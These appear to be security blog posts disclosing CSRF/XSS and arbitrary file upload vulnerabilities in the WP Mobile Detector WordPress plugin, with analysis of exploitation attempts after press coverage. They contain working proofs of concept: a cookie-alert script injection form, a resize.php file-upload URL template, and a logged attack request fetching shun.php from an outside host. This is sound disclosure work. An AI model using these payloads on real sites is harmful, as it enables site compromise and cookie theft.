22 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Mobile Detector

As we continue looking at ways we can improve the security of WordPress plugins, one of the thing we are trying is checking over plugins that we have recently added new vulnerabilities to our data set to see if we can find any other obvious vulnerabilities. The second we have spotted is in the plugin WP Mobile Detector. Unlike the arbitrary file upload vulnerability we spotted after some was looking to exploit it on this website, this cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the settings page for the plugin is unlikely to be exploited.

The CSRF potion of this is due to a lack of nonce on the page.

For the XSS issue, in the file /admin/admin-page.php the settings are saved and there is no sanitization done:

37
38
39
40
41
42
43
44
45
46
47
foreach($_POST as $k=>$v){
	if(is_array($v)){
		foreach($v as $key=>$value){
			$websitez_options[$k][$key] = $value;
		}
	}
}
$options = serialize($websitez_options);
 
if(count($websitez_options) > 0){
	if(websitez_set_options($websitez_options)){

When the values are outputted on the page through the file /admin/themes.php they are not escaped. For example, the value for “[‘general’][‘posts_per_page’]” is set on line 470:

470
<input type="text" id="posts_per_page" value="<?php echo $websitez_options['general']['posts_per_page']; ?>" />

Due to the use of a short open tag, <?, in one location in the file /admin/themes.php the setting’s page will not load if short open tags are not enabled:

561
&lt;? foreach($icons as $icon){ ?&gt;

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Mobile Theme Settings page, /wp-admin/admin.php?page=websitez_themes.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="websitez_options" />
<input type="hidden" name="general[posts_per_page]" value=':"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/15/2016 –  Developer notified.
  • 6/22/2016 – WordPress.org Plugin Directory notified.
  • 6/28/2016 – Removed from Plugin Directory.
20 Jun

Press Coverage Seems To Increase Hacker Interest In WordPress Plugin Vulnerability

When it comes to the discussion of WordPress security one thing that stands out for us is how much of what is being said seems to be, at best, not backed by factual information and in too many cases seems to be backed by outright falsehoods. So that makes gathering and analyzing data on security issues a much needed activity.

Recently we spotted what looked to be an attempt to exploit a vulnerability in the plugin WP Mobile Detector, a plugin with 10,000+ active installs according to wordpress.org, and we quickly found an arbitrary file upload vulnerability in the relevant file in the plugin, which turned out the be what was being exploited. After the vulnerability received a fair amount of press coverage we saw more requests that looked to be part of attempting to exploit the plugin. Now that it has been three weeks since this started we thought it would be a good time to take a closer look to see what impact that actually had.

First here is a timeline of what happened:

  • 5/27/2016 – Someone probed one of our websites looking for the existence of a file in the plugin, which is usually an indication they are looking to exploit a vulnerability in it.
  • 5/29/2016 – We notified the developer of the plugin of the vulnerability we discovered.
  • 5/31/2016 – We disclosed the existence of the vulnerability on our blog, along side of that we added it to our data set for our service and added it to the free data that comes with the companion Plugin Vulnerabilities plugin.
  • 5/31/2016 – We notified wordpress.org Plugin Directory of the vulnerability.
  • 5/31/2016 – The plugin is removed from the Plugin Directory.
  • 6/2/2016 – The vulnerability receives press coverage.
  • 6/2/2016 – Version 3.6 of the plugin is released, which fixes the vulnerability.

Below is a chart that shows the number of IP addresses that made request for URLs in the plugin’s directory on the website by day(there were no requests after June 8):

wp-mobile-detector-ip-requests

You can see that after the first request there were no additional requests until the day that the vulnerability was covered by the press. That shows that there is at least a correlation between the two and probably indicates that that more coverage of a vulnerability leads to additional exploitation attempts.

Since you it would be hard to control what coverage a vulnerability receives, trying to do that doesn’t seem to be a real good avenue for improving this type of situation. Instead this points to the impact that speeding up the process of getting vulnerabilities fixed could have. It took the developer four days and having the vulnerability removed from the Plugin Directory to get it fixed. It should not have taken any where near that long to fix it. That might point to a need for the Plugin Directory to take a more proactive role in fixing vulnerabilities when they are already being exploited prior to being fixed (which we have been seeing quite a bit of lately). (We would happy to help them putting together those fixes.)

The stats page for the plugin on WordPress.org shows that once the new version was released there was quick uptake (the big spike occurred on June 3):

wp-mobile-detector-downloads

For five of the six days after June 2 there were requests and then the requests stopped, probably due to limited number of websites still vulnerable at that point (many websites using the plugin were never vulnerable due to the vulnerability requiring a PHP option known to introduce security risk be enabled to be exploitable).

Total Request by Day

Below is a chart of the total request for URLs in the plugin’s directory made each day on the website:

wp-mobile-detector-total-requests

URLs Requested

Below is a breakdown of the URLs that were requested in the plugin’s directory on the website and how many times each was requested.

URL Requests
/wp-content/plugins/wp-mobile-detector/admin/css/style.css 12
/wp-content/plugins/wp-mobile-detector/resize.php 12
/wp-content/plugins/wp-mobile-detector/js/jMobile.min.js 5
/wp-content/plugins/wp-mobile-detector/readme.txt 4
/wp-content/plugins/wp-mobile-detector/ 2
/wp-content/plugins/wp-mobile-detector/cache/shun.php 2
/wp-content/plugins/wp-mobile-detector/resize.php?src=http://www.nipponclub.org/wp-content/themes/twentythirteen/inc/aaa/shun.php 2
/wp-content/plugins/wp-mobile-detector/cache/css.php 1
31 May

Arbitrary File Upload Vulnerability in WP Mobile Detector

A few days ago we had a HEAD request for the file /blog/wp-content/plugins/wp-mobile-detector/resize.php, which is a file in the plugin WP Mobile Detector. Since we didn’t have that plugin installed that most likely explanation for that was someone was checking for the existence of the file before trying to exploit a vulnerability in the plugin. Looking around we couldn’t find any public information disclosure of vulnerability involving that particular file, but a quick look at the file showed that plugin has an arbitrary file upload vulnerability. The severity of the vulnerability is lessened by the fact that it requires the server to have an option enabled that introduces the potential for security risks like this.

The code in the file first checks if a file exists based on the GET or POST value “src”:

1
2
3
4
&lt;?php
if (isset($_REQUEST['src'])) {
	$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
	if(file_exists($path)){

If the file doesn’t exist is created:

27
28
	}else{
		file_put_contents($path, file_get_contents($_REQUEST['src']));

The file_get_contents() function used to gets the file’s contents in that can use a URL as the filename if allow_url_fopen option is enabled. In that case a hacker could load up whatever file they want on to the website. Since having allow_url_fopen enabled can lead to this type of issue it looks like this is not enabled at many web host (you can check if that is enabled with the phpinfo() function.

Proof of Concept

Make sure to replace “[path to WordPress]” with the location of WordPress and “[URL of upload file]” with the URL of the file you are trying to upload.

http://[path to WordPress]/wp-content/plugins/wp-mobile-detector/resize.php?src=[URL of upload file]

Timeline

  • 5/29/2016 – Notified developer.
  • 5/31/2016 – Notified wordpress.org Plugin Directory.
  • 5/31/2016 – Plugin removed from the Plugin Directory.
  • 6/2/2016 – Version 3.6 released, which fixes vulnerabilities.